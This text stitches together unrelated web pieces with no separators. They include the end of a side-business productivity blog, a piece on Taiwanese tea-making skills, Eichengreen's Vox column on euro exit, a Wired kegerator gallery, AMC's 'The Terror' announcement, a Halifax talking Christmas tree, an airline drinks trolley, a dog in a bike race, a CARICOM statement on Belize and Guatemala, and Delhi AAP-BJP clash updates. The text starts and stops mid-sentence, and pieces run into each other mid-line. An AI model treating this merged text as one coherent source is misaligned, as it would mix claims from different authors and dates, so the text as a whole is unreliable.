achieve in the coming week 2) schedule blocks of time before and after work for working on these few things. Here's a snapshot of my calendar. I fill this out with everything from social events to gym workouts. 6. Plan to Succeed (Don’t Try and Do Too Much) Make sure you set yourself up for success by not committing to do too much. If you take on too much, failure is going to become a common theme in your week and this is going to kill your motivation. Instead, plan 1 or 2 key activities to complete and if you tick these off by Thursday you can dedicate the next few days to some ”bonus” tasks. WIN! I used to make the mistake of trying to do too much thinking: “well I’m a productive person, I’ll get it all done”. But what ended up happening is that I’d rush my tasks to try to complete everything; I’d get to the end of the week and may well have completed everything on my list but wouldn’t be happy with the quality of my work. The lesson here is that you shouldn’t sacrifice quality in order to create a false sense that you’re getting loads done. Download my FREE “Part-Time Entrepreneurs Productivity Checklist”. A complete list of things you can do to maximise your productivity while building your side-business. Leave this field empty if you're human: 7. Work on High Impact Tasks Another benefit of focusing on 1 or 2 key tasks is that it forces you to focus and prioritise the most important and high impact tasks. By “high impact” I basically mean the tasks that are going to have the biggest impact on you getting towards that goal or vision we talked about earlier. Because you don’t have the luxury of time this is actually going to help your productivity. This lack of time forces you to work on the tasks in your business that are most important. You’re forced to drop any smaller tasks that don’t matter (designing logos, printing business cards etc…) and this is a good thing! This restraint is going to make you much more productive and it’ll soon start creeping into your day job. You’ll drop tasks that don’t matter and really hone in on the important jobs. 8. Have Fun & Do What You Believe In As I touched on before – this journey to building a successful side business is going to be tough. That’s why it’s so important that you work on something that you really care about. This journey needs to be fun as it’s the only way you can continue through the tough times. You can remind yourself of the importance of your work and of the fun times you’ve had. By having fun and doing something you care about it’ll also motivate you to go above and beyond to get stuff done. It’s a lot harder waking up at 5am if you don’t enjoy your work. But do something you love and you’ll be excited to jump out of bed! I rarely go on the Playstation any more – my website is my Playstation. Blogging, building my audience and helping people is way more fun! As Richard Branson testifies to, having fun is one of the most important aspects of running a business. Check out “Screw It, Let’s Do It” (book summary) for more on this. While you’re at it, have a read of “Start With Why” (book summary) by Simon Sinek to learn the importance of finding your “why”. 9. Create a Time Budget for Your Side-Business & Personal Time When you’ve got so many balls in the air it can be easy to focus more on one than the others. Often you’ll want to put in a couple of extra hours into your business, or maybe you need to do some late nights at your day job. These short-terms sprints where your’e focusing on a new product launch or project are okay, but shouldn’t become an ongoing thing. To ensure you don’t neglect certain areas of your life (like your family), create a time budget for everything you’re doing. Your day job will take up a minimum of 40 hours a week. I don’t advocate working late hours at work (if you have 40 hours a week to get stuff done and can’t do it all in this time you need to prioritise more). But sometimes you just can’t help it, so you say work should take no more than 45 hours a week. You could then allocate 18 hours for your business (about 2.5 a day) and the rest is for relaxing, spending time with the family, meeting with friends and so on. Creating these time budgets reinforces these previous points. It forces you to be restraint and focus on those high impact tasks. It also means you don’t go crazy working on your business in your spare time and sacrifice the other important areas of your life. Instead you have to set a target to achieve X and Y within 18 hours the following week. 10. Be Patient This one is tough – be patient. I know better than anyone how frustrating it can be waiting for your business to take off. Even if you were working full-time on this venture it would still take time to gain any traction and really take off. But because you’re working part-time it’s going to take even longer. That’s what you have to put up with in return for staying at the security of your job vs. jumping into a business full-time (which is far riskier). Often people will quit because it takes too long to reach this going where you really start making progress. They think their idea sucks or they don’t have what it takes. But often it’s just a case of sticking with it a bit longer. Listen to podcasts like Fizzle and you’ll hear lots of stories like this. The moral of the story is that by sticking with it, by persevering through those tough times and by being patient you’ll eventually reach that point where your business starts making real progress and sales take off! 11. Be Careful of “The Dip” And now I’m going to contradict myself – while you should be persistent and patient, you shouldn’t fall into the trap of continuing with an idea that’s not going anywhere. You have to be careful of “the dip”. As Seth Godin writes about in his book, “The Dip” there will come a time in your business when the initial fun of setting it up wears off. As that initial excitement goes away, you’ll start going into what’s called “the dip”. This is where a lot of people quit and give up. Their motivation is gone and it seems there’s no reason to continue (which is why I previously mentioned the importance of having fun and working on something you care about). However, the dip is just that, a dip. It’s temporary. That dip in your growth often occurs right before your business hits that hockey stick growth curve and it’s just a case of sticking with it while you navigate this dip. But here comes the caveat – often the dip can turn into a chasm. You have to be careful that you’re not sticking with an idea that’s never going to recover from the dip. You need to become a master in recognising when it’s time to stick with it, or get out. Be patient, but not too patient. I realise that’s probably not very helpful. What I’m saying is that you should stick with it when times get tough, but be smart about it and look for signs that indicate whether
skill. What separates the margin of “good” from “great” tea lies largely in the finesse of the tea making process – this is where the true skill of a tea master is required. I asked my friends at the TRES as well as other folks in the tea industry what they worry about most for the future of Taiwanese teas. Several people have expressed concern about the loss of skill in making tea. A tea maker does not have easy work – when it is the season to make tea, they must work long hours, possibly not sleeping at night for several days. While they can make a decent salary by Taiwanese standards, it is not an appealing profession for many Taiwanese. Not only does the profession promise arduous labor, it lacks respect in society. As the younger generation strives to move upwards with their hearts set on white-collar jobs, recent years have had few young people entering the tea making industry because it is considered manual labor. I’m not sure the extent to which lack of interest in career tea makers will impact the industry. But I can see how lack of skill is a valid concern, given that the Taiwanese tea industry drives profit from quality over quantity. My research project, (should it ever get results) will be starting to address whether the natural environment can sustain the tea industry in Taiwan. Yet, I realize now this is not the only condition required for the longevity of this industry. Availability of skilled human resources presents another important factor to consider in the outlook of Taiwanese tea.The euro: Love it or leave it? Barry Eichengreen Originally posted 17 November 2007, this Vox column is more relevant than ever arguing that adopting the euro is effectively irreversible. Leaving would require lengthy preparations, which, given the anticipated devaluation, would trigger the mother of all financial crises. National households and firms would shift deposits to other Eurozone banks producing a system-wide bank run. Investors, trying to escape, would create a bond-market crisis. Here is what the train wreck would look like. The world economy is continually changing, but one constant is dissatisfaction with the euro. Toward the beginning of the decade, the main complaint was that the euro was too weak for booming economies like Ireland. Now the complaint is that it is too strong for growth-challenged countries like Italy. To be sure, the source of the current problem is external. It stems from the fall of the dollar, reflecting a combination of economic and financial problems in the United States, and the insistence of the Chinese authorities that the renminbi should follow the greenback. But that does nothing to defuse the complaints. The negative impact is being felt by all Eurozone members. But some countries where growth was already stagnant, such as Italy, are least able to cope. Already in June 2005, following two years of euro appreciation, then-Italian welfare minister Roberto Maroni declared that “the euro has to go.” Then-prime minister Silvio Berlusconi followed by calling the euro “a disaster.” But this earlier episode of appreciation pales in comparison with what has happened since. And if the dollar depreciates further and the US falls into a full-blown recession – both of which are more likely than not – calls like these will be back. So is the euro doomed? After seeing the number of Eurozone countries rise from 10 in 1999 to 15 at the beginning of 2008, will the process shift into reverse? If one country leaves the Eurozone by reintroducing its national currency, will others follow? Will the entire enterprise collapse? The answer is no. The decision to join the Eurozone is effectively irreversible.1 However attractive the rhetoric of defection is for populist politicians, exit is effectively impossible – although not for the reasons suggested in earlier discussions. A first reason why members will not exit, it is argued, is the economic costs. A country that leaves the euro because of problems of competitiveness would be expected to devalue its newly-reintroduced national currency. But workers would know this, and the resulting wage inflation would neutralise any benefits in terms of external competitiveness. Moreover, the country would be forced to pay higher interest rates on its public debt. Those old enough to recall the high costs of servicing the Italian debt in the 1980s will appreciate that this can be a serious problem. But for each such argument about economic costs, there is a counterargument. If reintroduction of the national currency is accompanied by labour market reform, real wages will adjust. If exit from the Eurozone is accompanied by the reform of fiscal institutions so that investors can look forward to smaller future deficits, there is no reason for interest rates to go up. Empirical studies show that joining the Eurozone does result in a modest reduction in debt service costs; by implication, leaving would raise them. But this increase could be offset by a modest institutional reform, say, by increasing the finance minister’s fiscal powers from Portuguese to Austrian levels. Even populist politicians know that abandoning the euro will not solve all problems. They will want to combine it with structural reforms. A second reason why members will not exit, it is argued, is the political costs. A country that reneges on its euro commitments will antagonise its partners. It will not be welcomed at the table where other EU-related decisions were made. It will be treated as a second class member of the EU to the extent that it remains a member at all. Political costs there would be, but there would also be benefits for politicians who could claim that they were putting the interests of their domestic constituents first. And politics have not rendered countries like Denmark and Sweden that have steadfastly refused to adopt the euro second-class EU member states. The insurmountable obstacle to exit is neither economic nor political, then, but procedural. Reintroducing the national currency would require essentially all contracts – including those governing wages, bank deposits, bonds, mortgages, taxes, and most everything else – to be redenominated in the domestic currency. The legislature could pass a law requiring banks, firms, households and governments to redenominate their contracts in this manner. But in a democracy this decision would have to be preceded by very extensive discussion. And for it to be executed smoothly, it would have to be accompanied by detailed planning. Computers will have to be reprogrammed. Vending machines will have to be modified. Payment machines will have to be serviced to prevent motorists from being trapped in subterranean parking garages. Notes and coins will have to be positioned around the country. One need only recall the extensive planning that preceded the introduction of the physical euro. Back then, however, there was little reason to expect changes in exchange rates during the run-up and hence little incentive for currency speculation. In 1998, the founding members of the Eurozone agreed to lock their exchange rates at the then-prevailing levels. This effectively ruled out depressing national currencies in order to steal a competitive advantage in the interval prior to the move to full monetary union in 1999. In contrast, if a participating member state now decided to leave the Eurozone, no such precommitment would be possible. The very motivation for leaving would be to change the parity. And pressure from other member states would be ineffective by definition. Market participants would be aware of this fact. Households and firms anticipating that domestic deposits would be redenominated into the lira, which would then lose value against the euro, would shift their deposits to other Eurozone banks. A system-wide bank run would follow. Investors anticipating that their claims on the Italian government would be redenominated into lira would shift into claims on other Eurozone governments, leading to a bond-market crisis. If the precipitating factor was parliamentary debate over abandoning the lira, it would be unlikely that the ECB would provide extensive lender-of-last-resort support. And if the government was already in a weak fiscal position, it would not be able to borrow to bail out the banks and buy back its debt. This would be the mother of all financial crises. What government invested in its own survival would contemplate this option? The implication is that as soon as discussions of leaving the Eurozone become serious, it is those discussions, and not the area itself, that will end. Editor's Note: 'euro area' was changed to Eurozone in line with Vox style guidelines. Footnote 1 For details, see The Breakup of the Euro Area. Barry Eichengreen. NBER Working Paper No. 13393.There’s something about a giant gadget that dispenses cold beer that inspires people to extremes. Here at Wired.com we have been busy pimping out our own fridge-turned-kegerator, Beer Robot, and we wanted to pay tribute to the most extreme, tricked-out and awesome kegerators we’ve come across. Here are some of our favorites. The Octane 120 Who knew mixing beer and videogames was such a good idea? Apparently a lot of people did, because there are no fewer than three different companies offering combination kegerator/arcades online, and at least one home-made one is in the works. Even our own Beer Robot has Space Invaders on one side. Dream Arcade’s Octane 120, pictured above, takes top prize in this category for many reasons, but it could be a winner based solely on the fact that it has an “in dash beer tap.” Just in case the tap directly behind you isn’t close enough, you’ve got one right next to the steering wheel. You don’t even have to take your eyes off the road to refill your beer, let alone stand up. It has a high-output DLP projector, a 120 inch projector screen and comes with your choice of Xbox 360, PlayStation 3 or a gaming PC. Dream Arcades owner Mike Ware told Wired.com that the company is adding a removable arcade control panel and 200 classic arcade games, including Pac-man and Centipede. The seat is adjustable, the steering wheel and shifter are leather-wrapped, the pedals have variable resistance, it can hold a full-size keg or two five-gallon kegs and, of course, there is a conveniently located drink holder directly below the dashboard tap so you can refill mid-game. Yes please, I’ll take one of those … if it weren’t for the $6,000 price tag. I’d be more likely to own an actual car that costs this much. Not surprisingly, Dream Arcades does not sell a lot of these. “This is mainly a high-end toy for CEOs, actors and such,” Ware wrote in an e-mail to Wired.com. If you aren’t one of those, perhaps the standup arcade he plans to offer for $2,600 in time for Christmas is more your style. Photo: Dream Arcade The Woody This is the most beautiful kegerator we found. It is the creation of Craig Jones, who converts fridges and sells them as Craigerators. Each is a one-of-a-kind piece of “functioning art.” “And what better kind of functioning art could there be but one that dispenses beer?” Craig asks on his website. We don’t know, Craig. We just don’t know. Hundreds of hours go into each custom Craigerator. Craig takes classic fridges, guts, sandblasts and powder coats them, restores the nuts and bolts, replaces the insulation with foam, installs new electrical systems and adds beer dispensing equipment. His first creation was called the Bone Box and had a real human femur bone for the door handle. This Craigerator was inspired by the “Woody” station wagons of the ’50s that are best known for their part in the ’60s surfing scene. It was converted from a 1954 GE fridge. The sides are made of oak, and the mini surfboards on top were custom made. It has a can of Mr. Zog’s Sex Wax on the door handle and a surfboard for a tap handle. It took 18 coats of paint, and even has neon lights that glow from underneath the kegerator. Craig’s wife fell in love with this one, and it never made it out the door. Photo: Craigerator The Diamond Plate Kegerator Cabinet Don’t try to convince anyone that you don’t need this for your garage. It is made of steel and aluminum, has wheels welded to it and has a theoretical load capacity of 6,000 pounds. Just think of what you could keep in there! Well, a keg of course. The main attraction of this kegerator is the (optional) flatscreen TV. It can handle screens up to 44 inches wide. Garage Fabricators says these cabinets are “built for the person who believes that their garage is not just a place “to park the car.” And who wouldn’t want a great big TV in their garage? You could sit in your car like you were at a theoretical drive-in that serves beer. The kegerator cabinet will run you $1,679, sans TV, or $2,964 with a Sharp 32″ LCD HDTV with a DVD player. For just a few bucks more, you can get the cabinet with red, blue, green, orange or gold trim. Photo: Garage Fabricators The Killer Kegerator Paul Theiss started with an old fridge with a dead compressor that has been languishing on the back porch. Instead of junking it, he decided to replace the compressor and give it a second life as his “Killer Kegerator.” Inspired by Craig Jones’ Craigerators, some of which are pictured in this gallery, he got help on the paint job from a buddy who owns an auto body shop and machined the inner panels and flaming splash plate from sheet aluminum. “I installed a dual shank so I can have two flavors, no waiting,” Theiss said. Now on tap: Fat Tire Amber Ale and 1554 Enlightened Black Ale, both from New Belgium Brewery in Fort Collins, Colorado. The project took nine months of sporadic work, including four Saturdays for the paint job, and around $600. Photo: Paul Theiss The Juice Box What? You don’t want beer following you everywhere you go? I don’t get it. This is the first portable Craigerator, called the Juice Box, and it’s so sweet that Craig is keeping it for himself. It has four taps (though it could fit up to eight) and can hold ice for two days in 100-degree weather. Locking legs allow it to stand on its own outside the truck bed. The CO2 canisters mount on the back. It even has an LCD light show. Craig will make you your own “kick-ass jockey box” for $2,850. He’ll even modify it to pour a nitrogen stout. We think this kegerator goes particularly well with the tailgate grill made from a classic 1946 keg, which you can add for $700. Photo: Craigerator The Island Kegerator It’s very hot in Arizona, which can drive people to do all sorts of crazy things. Or they build a kegerator. Wired.com reader Al Christensen wrote in to tell us about his home-made beer dispenser, which was inspired by a desire to have cold beer by the pool. Only intending to turn an old chest freezer into a kegerator, Christensen soon discovered that his creation was exactly the right height to be a bar counter. He added a ceramic-tile top, faux-stucco paint to match the house, wheels, fancy skirting, lighting and a power strip (for the margarita blender of course). “My neighbors got a real kick out of watching it come together — and emptying it,” Christensen wrote. “I thought I could make a business out of building them — no luck. I thought I could build them for caterers — no luck. I drew up some directions thinking I could sell them on eBay for $10 as a do-it-yourself project — no luck.” I don’t know about you, but I would totally buy one of these. Photo: Al Christensen The Keystone Lights Though we’re not big fans of the featured beverage in this kegerator, this has to be the best iPod dock ever. And we’re obviously fans of the kegerator + gadget theme — as evidenced by our giant iPhone with an “app” that serves cold beer. Both Keystones are custom kegerators made by Craig Jones. The one on the left was made for the Keystone Light offices at Coors Brewing Company. The one on the right was made for a contest winner. Each took over 300 hours to make. Photo: Craigerator The Arkeg The folks at Allstarcade describe their Arkeg Drink-n-Game system as “modernly progressive, yet retroactively hip” and suggest you need it for your “game room, bachelor pad, fraternity house or even office!” This immediately gets me singing, “One of these things is not like the other…” until I remember that we actually do have a kegerator and several gaming systems in the Wired.com office. So who am I to argue with their marketing strategy? The Arkeg can only hold a five-gallon keg, but it does come with 69 classic arcade games including Mortal Kombat, Centipede and Joust. It has a PC, 24-inch high-def LCD screen, surround sound with subwoofer, WiFi, DVD player, jukebox, karaoke and a marquee logo that can pulsate to the music. All this for a cool $4,000. “The idea for the Arkeg came after finishing an intense battle on a worn out Street Fighter II machine and pouring a beer from our kegerator,” Brant Myers, Co-founder of Allstarcade, said in a press release in August. “The two separate objects took up so much space, yet went together so perfectly, that it just made sense to try and merge them.” It just made sense, indeed. Photo: Allstarcade The Kisserator I’ve seen a few kegerators dressed up in the home team’s colors, but this is the first I’ve found that is dedicated to a band. This is not the first tribute to KISS that owner Sam Smock has built. “I used to collect KISS memorabilia and had my upstairs bathroom decorated with KISS items,” he said in an e-mail to Wired.com. “I even had a KISS album set under clear epoxy on the toilet seat.” “I’d seen some guys making custom kegerators,” he said, “and decided that I could do a KISS one and do it better!” Photo: Sam Smock The Devil May Care This hellish kegerator was converted by Craig Jones from a 1953 GE fridge. It has a dual tap system and can hold two half-size kegs. It took over 200 hours to create. This Craigerator’s candy apple paint has reflective flecks in it, taps are a pitchfork and devil’s tail and the freezer door is see-through with red neon glowing from within — a play on “when hell freezes over.” Photo: Craigerator See Also:AMC has greenlit a new scripted anthology series, “The Terror,” based on the bestselling novel by Dan Simmons, Variety has learned. Written by David Kajganich (“True Story,” “A Bigger Splash”), the series is set in 1847, when a Royal Naval expedition crew searching for the Northwest Passage is attacked by a mysterious predator that stalks the ships and their crew in a suspenseful and desperate game of survival. AMC has ordered 10 hourlong episodes for premiere in 2017. The series hails from Scott Free, Emjag Productions and Entertainment 360 in association with AMC Studios. Kajganich will serve as co-showrunner with Soo Hugh (“The Whispers,” “The Killing”). Executive producers are Ridley Scott and David W. Zucker of Scott Free, Alexandra Milchan and Scott Lambert, both principals at Emjag Productions, and Guymon Casady of Entertainment 360, the content arm of Management 360. “We’ve been focused on developing this incredible story for television with these great partners for a couple of years, and we think it provides rich dramatic material but also an opportunity to explore the anthology format, which is something we’re extremely interested in and offers some unique possibilities,” said Joel Stillerman, president of original programming and development for AMC and SundanceTV. “Originality is still something that gets our attention every day, and the very unique mixing of historical non-fiction with a gripping and imaginative science fiction overlay in Dan’s novel is something that we hadn’t seen before. That, combined with an exceptional team behind the project made this something we really wanted to bring to air on AMC.” Related AMC Eyes Moving Channels to Spain Post-Brexit 'Breaking Bad' Movie Sequel With Aaron Paul Will Air on Netflix and AMC “Dan’s novel is that rare combination of fascinating actual history, ground-breaking genre storytelling, and the complex character work of literature,” Kajganich said. “The chance to launch a series that will incorporate all of these elements going forward, and with a team of this caliber, is extraordinary.” “As a long-time fan of Dan Simmons, the opportunity to join this project is a dream come true,” Hugh said. “We look forward to bringing this story to life for the passionate AMC audience.” AMC recently ordered a late-night pop culture talk show to be hosted by Kevin Smith and Greg Grunberg, and a travel series, “Ride with Norman Reedus,” starring “Walking Dead” favorite Reedus as he travels across the country on his motorcycle. This season the cabler will unveil hotly-anticipated comic book adaptation “Preacher,” from Seth Rogen and Evan Goldberg; miniseries “The Night Manager,” starring Tom Hiddleston, Hugh Laurie and Olivia Colman; and drama “Feed the Beast,” toplined by David Schwimmer and Jim Sturgess.click to enlarge You're welcome, Sackville. A Halifax councillor has spent $25,000 of the municipality’s money on a talking Christmas tree. Brad Johns, councillor for Middle/Upper Sackville-Beaver Bank-Lucasville, is eagerly awaiting his new tree as it’s shipped from the States. He says it will help Sackville compete with neighbouring districts. “Spryfield’s got the Santa parade, downtown has their tree lighting. What can we do in Sackville that’s a little unique?” Johns says, about his inspiration for buying an 18-foot tall silicone tree. It’s meant to evoke memories of Woody, the beloved Mic Mac Mall monstrosity that shoppers sacrificed their money to every year. Johns’ Californian tree will cost $25,000 ($18,000 US, plus shipping and handling), and comes from a designer who also produces work for Universal Studios. “We shopped around to get the best quality tree at the best price.” The tree “says whatever you want it to,” and is programmable by computer. Johns envisions schoolchildren will watch it perform a 15-minute “skit,” for free, and then afterwards donations will be collected for the local food bank. This year, it will be set up in Acadia Hall on Sackville Drive. The facility is letting Johns erect his puppet for free, which means forgoing revenue they would have collected from Christmas party rentals. Johns says to compensate, in future years the tree will look for corporate sponsorship. The $25,000 cost comes from Johns’ discretionary fund. Every councillor gets $94,000 a year in district capital funds to put towards large-scale capital developments and infrastructure. Normally, that includes parks, playgrounds, maintenance for common areas. Johns doesn’t find spending nearly a quarter his district’s money on a Christmas tree to be excessive. “It’s not a Christmas tree,” he says. “It’s an animatronic, talking Christmas tree.” The councillor estimates any food bank donations the tree helps gather will be double its $2,500 per year cost (given its estimated ten-year “lifespan”).SkyMax Don't you hate waiting for the drinks cart to slowly make its way through economy class to your seat? This gadget might speed things up a bit. SkyTender isn't quite the robot bartender that some are making it out to be, but as an automated drinks dispenser it could make flying slightly less hellish than it nearly always is. This beverage trolley can whip up more than 30 different drinks, including soft drinks, coffee, wine, and cocktails, at the touch of a button or two. Regular trolleys can be upgraded to SkyTenders with the installation of modular drinks cartridges that use an RFID system and a CO2 cylinder for the dispenser mechanism. As seen in the educational vid below, SkyTender has a touch screen that rises out of the trolley. Put a cup in the dispenser, push a button on the screen, and there's your drink. A stocked trolley, which has about 8 gallons of hot and cold water on board, can prepare up to 290 drink servings. Yes, you still need a flight attendant in the loop. Changing the drinks cartridges, keeping the batteries charged, and other maintenance tasks mean there's room for breakdowns, but perhaps no more than when conventional trolleys run out of your choice of wine. When I told my flight attendant friend Leanne about SkyTender, she was impressed by the fact that it could save her many trips to the galley to reheat or make new pots of coffee and tea. It also seems safer during turbulence because there are fewer things that could fly off it, she added, and fewer discarded drinks cans present an environmental benefit. SkyTender recently took its inaugural flight on a German airline, WDL Aviation, going from Cologne to Palma, Majorca. "Our first ever test flight was a complete success, the system operated as expected and we have generated even more interest in our innovative product, the passengers were extremely pleased with the beverage options and most importantly the quality and speed of service," SkyMax's Oliver Kloth said in a release. What do you think? Would you be more willing to fly with a given carrier if it had automation in the aisles? (Via Live Science)Canine speeds ahead of group in Italian gran fondo Unlikely as it seems, dogs have a proud history in pro cycling, and now we have another entry into the canine hall of fame. While most times a dog gets involved in a bike race it strolls out into the path of the peloton and causes a massive crash, this mutt is more ambitious, outpacing the group for a considerable amount of time. Starting off at the side of the road, the dog then defies police motorbikes to make its way into the middle of the road, picking up the pace to stay ahead of the pack. >>> Watch: Cyclist ‘attacked’ by emu (video) Meanwhile the riders behind, who we think are competing in an Italian gran fondo, seem unsure what to do, with a couple of them attempting to come sneak around the side of the dog, who tries a typical sprinter’s manoeuvre, shutting the door and trying to run them off the road. Unfortunately by this time the dog is beginning to tire, eventually subsumed into the peloton, before presumably having a long walk home to its owner.GEORGETOWN, Guyana, Fri. Mar. 18, 2016–Last week, the Government of Belize issued a statement saying that tensions between Belize’s and Guatemala’s military at the Sarstoon are at an all-time high, after reports of hostile behavior by the Guatemalans near the Forward Operating Base which Belize is constructing on the northern bank of the Sarstoon River. Today, the Caribbean Community (CARICOM) issued a statement expressing “grave concern” over the incident. “Although the incident ended peacefully following contact at the highest level between military and political leaders on both sides, CARICOM notes with grave concern the tension caused as a result of the incident,” its statement said. “The Caribbean Community restates the importance it places on respect for international law and the sanctity of treaties and deeply regrets any actions of the [Guatemalan Armed Forces – GAF] which violate the sovereignty of Belize and attempt to change the status quo prior to the submission of the Guatemalan claim to Belizean territory to the International Court of Justice in accordance with the Special Agreement ratified by both parties,” the statement added. Three prior agreements to put in place “confidence-building measures” between Belize and Guatemala have only been developed for Belize’s western border with Guatemala and not for the Sarstoon, where it now appears the border dispute is most pronounced. In a statement issued today, the Caribbean Community (CARICOM) called on Guatemala “to agree to Confidence Building Measures, in conjunction with the Organization of American States, to ensure peace and stability along the southern border of Belize with the Republic of Guatemala.” Foreign Affairs officials of Belize and Guatemala met in Washington last week, and Belize proposed CBMs for the Sarstoon; however, the Guatemalans indicated that they did not have the authority to talk about such an agreement. The Guatemalan Foreign Ministry had indicated after the March 12 encounter between the Belizean and Guatemalan military that it would continue to assert sovereignty over the Sarstoon River, in the absence of an ICJ ruling on the matter. Following the recent inter-sessional meeting held in Placencia in Belize, CARICOM Heads of Government called for an early referendum in both countries, to decide on whether the matter would be adjudicated at the ICJ for a final ruling. They also reaffirmed their unequivocal support for the maintenance and preservation of Belize’s sovereignty and territorial integrity.Zee Media Bureau/Ritesh K Srivastava New Delhi: The Delhi Police has booked several Aam Aadmi Party (AAP) leaders, including Ashutosh, Shazia Ilmi, for rioting after their party workers clashed with the members of the BJP outside its headquarters yesterday. At least 14 AAP workers were also arrested by the Delhi Police in connection with the case. Latest Updates: The Gujarat Police has registered a case against Arvind Kejriwal in Kutch for using microphone and loudspeakers without permission. "Kejriwal addressed a public rally today at Rishabh Circle of Gandhidham where he used loudspeaker without Election Commission`s permission. This is a breach of Model Code of Conduct, so we lodged an FIR," Superintendent of Police, Dipak Meghani, said. Soon after his car came under alleged attack at Himmatnagar in Gujarat, Manish Sisodia cautioned the BJP from underestimating the power of Aam Gujarati: If BJP leaders think they can hide corruption in Gujarat by attacking my car,then they are underestimating the power of Aam Gujarati — Manish Sisodia (@msisodia) March 6, 2014 The car of senior Aam Aadmi Party (AAP) leader Manish Sisodia has been attacked, tweeted Arvind Kejriwal. Sisodia is on a four-day visit to Gujarat along with Kejriwal. Manish's car attacked just now. His window pane smashed. — Arvind Kejriwal (@ArvindKejriwal) March 6, 2014 The Delhi Police has released AAP leader Ashutosh after questioning. Talking to reporters, Ashutosh, who has been booked for rioting, said he was just trying to pacify protesters, not provoke them. AAP leader Shazia Ilmi, who was booked for rioting, has been released by police after three hours of questioning. Talking to reporters afterwards, Ilmi said she was asked why we were outside the BJP office. Saying that she answered all the questions asked by police, Ilmi added that if need be, she will come again to help police with the probe. Alleging that she did not do anything, Ilmi said she asked police the basis for the FIR lodged against her. The AAP leader described the clashes between her party members and the BJP as an unfortunate incident. The Aam Aadmi Party has been served a notice by the Delhi`s Chief electoral office for alleged violation of the Model Code of Conduct over yesterday`s violent protest outside BJP headquarters. New Delhi`s Deputy Commissioner and District Election Officer, Ameya Abhyankar has asked AAP to explain by 3 PM tomorrow as to why action should not be initiated against it for holding a protest without permission from poll officials and in violation of the MCC, which came to force since yesterday after the poll dates were announced. Election Commissioner HS Brahma says that the Delhi wing of the poll body will take appropriate actions against AAP for violating model code of conduct and staging protest outside the BJP headquarters without seeking prior permission. AAP workers stop police vehicle as Shazia Ilmi is being taken to the Mandir Marg Police station for questioning. After Ashutosh, another AAP leader Shazia Ilmi is being taken for questioning by the Delhi Police in connection with yesterday`s attack on BJP`s office. “My name is in the FIR so the police is taking me to the station. I am abiding with them. Everyone has seen yesterday’s footage, I didn`t raise my hand even once. Delhi Police`s version that stone-pelting started from AAP`s side is absolutely untrue,” says Ilmi. 14 AAP workers, who were arrested by the Delhi Police for attacking the BJP office here yesterday, granted bail. AAP leader says he is going to appear before Delhi Police and appealed his supporters to remain calm. “I am going with police to assist in investigation, appeal to supporters to maintain calm. I am a law abiding citizen of India. I do not believe in violence. I will fully co-operate with Delhi Police,” says Ashutosh before being taken for questioning by the Delhi Police. AAP leaders Ashutosh and Akhilesh Tripathy served notice under Section 160 of the CrPC to join in the police investigations. The AAP leaders will be taken to Parliament Street Police Station along with Akhilesh Mani Tripathy in a short while, sources say. Delhi Police reaches AAP`s Model Town office to arrest Ashutosh, Shazia Ilmi and other named in its FIR for attacking the BJP`s office yesterday. Delhi Police submits a report to the Election Commission blaming Arvind Kejriwal`s party for the violence at the BJP office yesterday. Acting on the complaint filed by the BJP, the Election Commission has a issued a notice to the Aam Aadmi Party for violating the model code of conduct. The EC has asked AAP to explain its stand within 24 hours. The Arvind Kejriwal-led party will have to explain why it held a political event - protests outside BJP office - without informing the Commission. BJP delegation meets Delhi Election Commission and registers a complaint against AAP in connection with yesterday`s attack on its headquarters by Arvind Kejriwal`s supporters. “We have registered a complaint with EC against AAP. This party is working like goons. If AAP is not stopped, this may happen in other parts of the country,” says Naqvi. AAP chief Arvind Kejriwal apologises for his party workers` behaviour in Delhi and Lucknow while protesting his "detention" and urges them to stick to non-violence. BJP leaders Dr Harsh Vardhan, Mukhtar Abbas Naqvi and Nalin Kohli meet the Election Commissioner to register their complain against the AAP. Delhi Police gets permission to arrest AAP leaders Ashutosh, Shazia Ilmi, Anand Kumar and several others in connection with a violent scuffle between then and the BJP workers yesterday. BJP senior leader Mukhtar Abbas Naqvi, Dr Harsh Vardhan and Nalin Kohli to meet CEC at 12.30 pm to lodge complaint against the AAP. AAP`s Shazia Ilmi reacts to the action taken by Delhi Police in connection with the case. “FIR Shows discriminatory attitude of Delhi Police, we believe in non-violence,” Ilmi says. “Ready to face arrest, very unfair that FIR has been filed only against AAP leaders,” she adds. Ashutosh reacts by saying, “Not a single BJP worker has been arrested so far. How can anyone believe that? Our AAP workers were hurt themselves? “Why has no action been taken against those BJP workers who beat up our volunteers in Lucknow?, the AAP leader said alleges, “The Delhi Police is taking orders from Narendra Modi and not from the Home Minister.” Delhi Police names Ashutosh, Shazia Ilmi, Prof Anand Kumar and several other AAP workers in its FIR filed in Parliament Street Police Station, which says that the party workers illegally gathered outside BJP headquarters in Delhi. The AAP leaders have been booked under Sections 145, 147, 149, 37, 353 and 427 of the Indian Penal Code. The police arrests at least 14 AAP workers in connection with the incident and will produce them before the Patiala House Court today. MK Meena, Joint Commissioner of Police, New Delhi, says, “All those named in FIR will be arrested and action will be taken against them.” Earlier this morning, Ashutosh tweets, “No arrest of BJP leaders and activists till now by Delhi Police? Is BJP and Police hand in glove!!!”. “Why no BJP worker and leader is arrested till now? Why only AAP leaders and volunteers arrested?, Can you believe it Prof Anand Kumar, the most respected professor is arrested and Nalin Kohli is roaming free?” his tweet says. Ashutosh also alleges that he and his party is being targeted and accused Delhi Police of colluding with the BJP. BJP slams the Congress and AAP for trying to divert attention by resorting to cheap tactics ahead of Lok Sabha polls. Mukhtar Abbas Naqvi of BJP says, “Why is Congress acting as AAP`s spokesperson? Again using pawns to fight? These pawns have no credibility.” “I want to appeal to our workers to not get provoked by AAP. That is their game plan. We have to be peaceful,” Naqvi said. The AAP workers are planning to approach the Election Commission today to demand a thorough probe into the incidents in Gujarat, Delhi and Uttar Pradesh. Meanwhile, the state BJP leaders have also urged the Election Commission to take appropriate action against the erring AAP workers. AAP workers had yesterday protested outside BJP headquarters in Lucknow and Delhi hours shortly after party chief Arvind Kejriwal`s car was damaged in Gujarat where he was detained briefly. The protests soon turned violent with workers from both parties pelting stones at each other. Delhi Police had to use water cannon to disperse them. Arvind Kejriwal later apologised and said that the party workers were instigated by BJP workers who attacked AAP workers. The AAP convener appealed to his supporters to maintain peace and not engage in any violent activities. Kejriwal also questioned, "Why Narendra Modi is rattled with my tour of Gujarat?" Kejriwal`s convoy came under attack by unidentified people at Kharohi near Bhuj in Gujarat after he was released by the police. Reports claimed that Kejriwal was not present in the car when the AAP convoy was attacked. The violence came on a day the EC announced the Lok Sabha poll schedule and police in Gujarat stopped Kejriwal, who began a four-day tour of the state, on his 